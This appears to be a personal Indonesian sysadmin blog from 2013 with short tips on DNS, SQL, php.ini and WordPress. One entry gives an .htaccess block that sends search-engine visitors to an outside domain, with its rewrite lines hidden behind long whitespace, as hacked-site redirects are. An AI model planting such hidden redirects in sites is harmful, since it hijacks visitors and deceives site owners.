Sunday, October 13, 2013

cara mendisable dns recursion vps

pakai ssh
instruksi :
To disable DNS recursion:

nano -w /var/named/chroot/etc/named.conf

Add the following text at the end of this file:

options {
recursion no;
};

then restart the named service (service named restart)

Tuesday, October 8, 2013

menghapus duplicate row di sql menggunakan excel

expor dulu table ke dalam format xls(ada di menu export phpmyadmin)
lalu buka file export dngn excel.
lakukan tips ini :
  1. Select all the rows, including the column headers, in the list you want to filter.
Tip
Click the top left cell of the range, and then drag to the bottom right cell.
  1. On the Data menu, point to Filter, and then click Advanced Filter.
  2. In the Advanced Filter dialog box, click Filter the list, in place.
  3. Select the Unique records only check box, and then click OK.
The filtered list is displayed and the duplicate rows are hidden.
  1. On the Edit menu, click Office Clipboard.
The Clipboard task pane is displayed.
  1. Make sure the filtered list is still selected, and then click Copy .
The filtered list is highlighted with bounding outlines and the selection appears as an item at the top of the Clipboard.
  1. On the Data menu, point to Filter, and then click Show All.
The original list is re-displayed.
  1. Press the DELETE key.
The original list is deleted.
  1. In the Clipboard, click on the filtered list item.
The filtered list appears in the same location as the original list.

mengatasi error Duplicate entry '1' for key 1

misal perintah sql :
INSERT INTO mobiware2 (idkw, kw) VALUES
(1, ' how to turn off facebook contacts on a samsung galaxy 3'),

padahal di table sudah terdapat idkw 1 maka error  error Duplicate entry '1' for key 1 akan muncul

cara mengatasi :
INSERT INTO mobiware2 (idkw, kw) VALUES
(null, ' how to turn off facebook contacts on a samsung galaxy 3'),

null akan menjadi id secara otomatis di idkw paling ahir alias auto increment.

tampilkan random search term stt2 terbaru

tambahkan fungsi untuk tampilkan random search term stt2 terbaru :
function stt_rand_terms($count=10){
    global $wpdb;
    $start_time = round(microtime(),3);
    $options = get_option('pk_stt2_settings');
    $sql = "SELECT `meta_value`,`meta_count`,`post_id` FROM `".$wpdb->prefix."stt2_meta` ORDER BY RAND() LIMIT ".$count.";";
    $searchterms = $wpdb->get_results($sql);
    if(!empty($searchterms)) {
          $result = pk_print_searchterms($searchterms,$options);
      return $result;
    } else {
        return false;
    }
}

lalu pasang di widget :
<?php if(function_exists('stt_rand_terms')) echo stt_rand_terms(10) ;?>

Tuesday, July 9, 2013

htaccess redirect rules

htacces buat direct menurut kemauan kita. default ini untuk joomla, tapi ya tinggal disuntil dikit bisa buat wordpress juga.

Friday, February 8, 2013

cara edit php.ini / enable curl lewat ssh

ikuti perintah ini
1. “cd /etc”
2. “ls”
Check that there is the php.ini listed if not you will have to ask your hosting provider where it is.
3. “nano php.ini”
4. Find the bit in php.ini you would like to edit.
5. kalo mau enable/disable cari pake ctrl+w : disabled_funtion
6. abis itu ctrl+x
8. yes
9. restart server 

Friday, February 1, 2013

membuat link dan widget muncul di halaman yang diinginkan

pasang plugin ini : wordpress.org/extend/plugins/widget-context/
jadi di widget bisa diatur dimana saja widget text itu muncul
 

Tuesday, January 29, 2013

optimasi server untuk agc

biar agc meng-query hanya dari fungsi agc nya aja, maka buang fungsi search di postingannya, hasilnya server gag terlalu berat. ikuti aja gambar diatas. itu file di wp-include=>query.php

Saturday, January 26, 2013

htacces to new site search engine refferer with same query

htaccess generator follow here : http://fadilla.com/a/

and this is code for redirect traffic from search engine. it will keep the search query.

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On

RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)                                                                                                                       
                                                                                                                        RewriteRule ^(.*)$ http://tradednow.info/tags/$1/ [R=301,L]                                                                                                                       
                                                                                                                        RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*)                                                                                                                       
                                                                                                                        RewriteRule ^(.*)$ http://tradednow.info/tags/$1/ [R=301,L]   


RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

Friday, January 25, 2013

cara merubah search parameter di wordpress

taruh kode ini di function.php
// Add this code to your functions.php file in your active theme folder
 
  1. // Allow WordPress to access "search" in the query string
  2. function ds_whitelist_new_search_parameter( $allowed_query_vars ) {
  3.  $allowed_query_vars[] = 'search';
  4.  return $allowed_query_vars;
  5. }
  6. add_filter('query_vars', 'ds_whitelist_new_search_parameter' );
  7.  
  8.  
  9. // populate s parameter with value of search
  10. function ds_swap_search_parameter($query_string) {
  11.  
  12.  $query_string_array = array();
  13.  
  14.  // convert the query string to an array
  15.  parse_str($query_string, $query_string_array);
  16.  
  17.  // if "search" is in the query string
  18.  if(isset($query_string_array['search'])){
  19.   $query_string_array['s'] = $query_string_array['search']; // replace "s" with value of "search"
  20.   unset($query_string_array['search']); // delete "search" from query string
  21.  }
  22.  
  23.  return http_build_query($query_string_array, '', '&'); // Return our modified query variables
  24. }
  25. add_filter('query_string', 'ds_swap_search_parameter');

Thursday, January 24, 2013

membuat redirect keyword search

dapet coding dari developer untuk replace keyword buat amunisi abc:
<CustomSearchEngine>
  <Title>Universities</Title>
  <Context>
    <Facet>
      <FacetItem title="Papers">
        <Label name="papers" mode="FILTER"/>
        <Redirect url="http://scholar.google.com/scholar?q=$q"/>
      </FacetItem>
    </Facet>
  </Context>
</CustomSearchEngine>